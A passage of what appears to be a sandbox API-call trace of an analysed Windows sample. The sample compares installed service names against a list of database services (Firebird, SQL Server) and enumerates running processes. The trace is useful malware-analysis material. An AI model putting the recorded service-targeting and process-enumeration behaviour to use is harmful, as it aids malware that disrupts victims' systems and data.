lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.191] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0063.191] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0063.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0063.191] lstrlenW (lpString="RpcSs") returned 5 [0063.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0063.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0063.191] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0063.191] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0063.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0063.191] lstrlenW (lpString="SamSs") returned 5 [0063.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0063.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0063.191] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0063.191] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0063.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0063.191] lstrlenW (lpString="Schedule") returned 8 [0063.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0063.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0063.192] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0063.192] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0063.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0063.192] lstrlenW (lpString="SecurityHealthService") returned 21 [0063.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0063.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0063.192] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0063.192] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0063.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0063.192] lstrlenW (lpString="SENS") returned 4 [0063.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0063.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0063.192] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0063.192] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0063.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0063.192] lstrlenW (lpString="ShellHWDetection") returned 16 [0063.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.192] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0063.192] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0063.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0063.192] lstrlenW (lpString="Spooler") returned 7 [0063.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0063.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0063.192] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0063.192] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0063.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0063.192] lstrlenW (lpString="SSDPSRV") returned 7 [0063.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0063.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0063.192] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0063.192] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0063.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0063.193] lstrlenW (lpString="StateRepository") returned 15 [0063.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0063.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0063.193] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0063.193] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0063.193] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7010e0 | out: hHeap=0x6a0000) returned 1 [0063.193] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c0 [0063.200] Process32FirstW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0063.201] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0063.202] lstrlenW (lpString="System") returned 6 [0063.202] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0063.524] lstrlenW (lpString="smss.exe") returned 8 [0063.524] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.525] lstrlenW (lpString="csrss.exe") returned 9 [0063.525] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0063.526] lstrlenW (lpString="wininit.exe") returned 11 [0063.526] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.526] lstrlenW (lpString="csrss.exe") returned 9 [0063.527] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0063.527] lstrlenW (lpString="winlogon.exe") returned 12 [0063.527] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0063.528] lstrlenW (lpString="services.exe") returned 12 [0063.528] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0063.529] lstrlenW (lpString="lsass.exe") returned 9 [0063.529] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.530] lstrlenW (lpString="svchost.exe") returned 11 [0063.530] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0063.531] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0063.531] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0063.532] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0063.532] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.533] lstrlenW (lpString="svchost.exe") returned 11 [0063.533] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0063.533] lstrlenW (lpString="dwm.exe") returned 7 [0063.534] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.534] lstrlenW (lpString="svchost.exe") returned 11 [0063.534] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.535] lstrlenW (lpString="svchost.exe") returned 11 [0063.535] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.536] lstrlenW (lpString="svchost.exe") returned 11 [0063.536] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.537] lstrlenW (lpString="svchost.exe") returned 11 [0063.537] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.538] lstrlenW (lpString="svchost.exe") returned 11 [0063.538] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.538] lstrlenW (lpString="svchost.exe") returned 11 [0063.538] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.539] lstrlenW (lpString="svchost.exe") returned 11 [0063.539] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.540] lstrlenW (lpString="svchost.exe") returned 11 [0063.540] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.541] lstrlenW (lpString="svchost.exe") returned 11 [0063.541] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0063.542] lstrlenW (lpString="spoolsv.exe") returned 11 [0063.542] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.543] lstrlenW (lpString="svchost.exe") returned 11 [0063.543] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.544] lstrlenW (lpString="svchost.exe") returned 11 [0063.544] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0063.544] lstrlenW (lpString="audiodg.exe") returned 11 [0063.544] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0063.545] lstrlenW (lpString="sihost.exe") returned 10 [0063.545] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.546] lstrlenW (lpString="svchost.exe") returned 11 [0063.546] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0063.547] lstrlenW (lpString="taskhostw.exe") returned 13 [0063.547] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0063.548] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0063.548] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0063.549] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0063.549] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0063.550] lstrlenW (lpString="explorer.exe") returned 12 [0063.550] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0063.550] lstrlenW (lpString="Memory Compression") returned 18 [0063.550] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0063.551] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0063.551] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0063.552] lstrlenW (lpString="SearchUI.exe") returned 12 [0063.552] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0063.553] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0063.553] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.554] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0063.554] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0063.555] lstrlenW (lpString="taskhostw.exe") returned 13 [0063.555] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0063.556] lstrlenW (lpString="UsoClient.exe") returned 13 [0063.556] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0063.556] lstrlenW (lpString="taskhostw.exe") returned 13 [0063.556] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0063.557] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0063.557] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0063.558] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0063.558] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0063.559] lstrlenW (lpString="msoia.exe") returned 9 [0063.559] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0063.560] lstrlenW (lpString="msoia.exe") returned 9 [0063.560] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0063.561] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0063.561] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0063.562] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0063.728] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0063.729] lstrlenW (lpString="xml-upper.exe") returned 13 [0063.729] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0063.730] lstrlenW (lpString="defeat preston.exe") returned 18 [0063.730] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0063.731] lstrlenW (lpString="surveillance.exe") returned 16 [0063.731] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0063.732] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0063.732] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0063.733] lstrlenW (lpString="deemed.exe") returned 10 [0063.733] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0063.735] lstrlenW (lpString="scored-prices.exe") returned 17 [0063.735] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0063.736] lstrlenW (lpString="understood.exe") returned 14 [0063.736] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0063.737] lstrlenW (lpString="lee.exe") returned 7 [0063.737] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0063.740] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0063.740] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0063.741] lstrlenW (lpString="romandisclosure.exe") returned 19 [0063.741] Process32NextW (in: hSnapshot=0x2c0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations 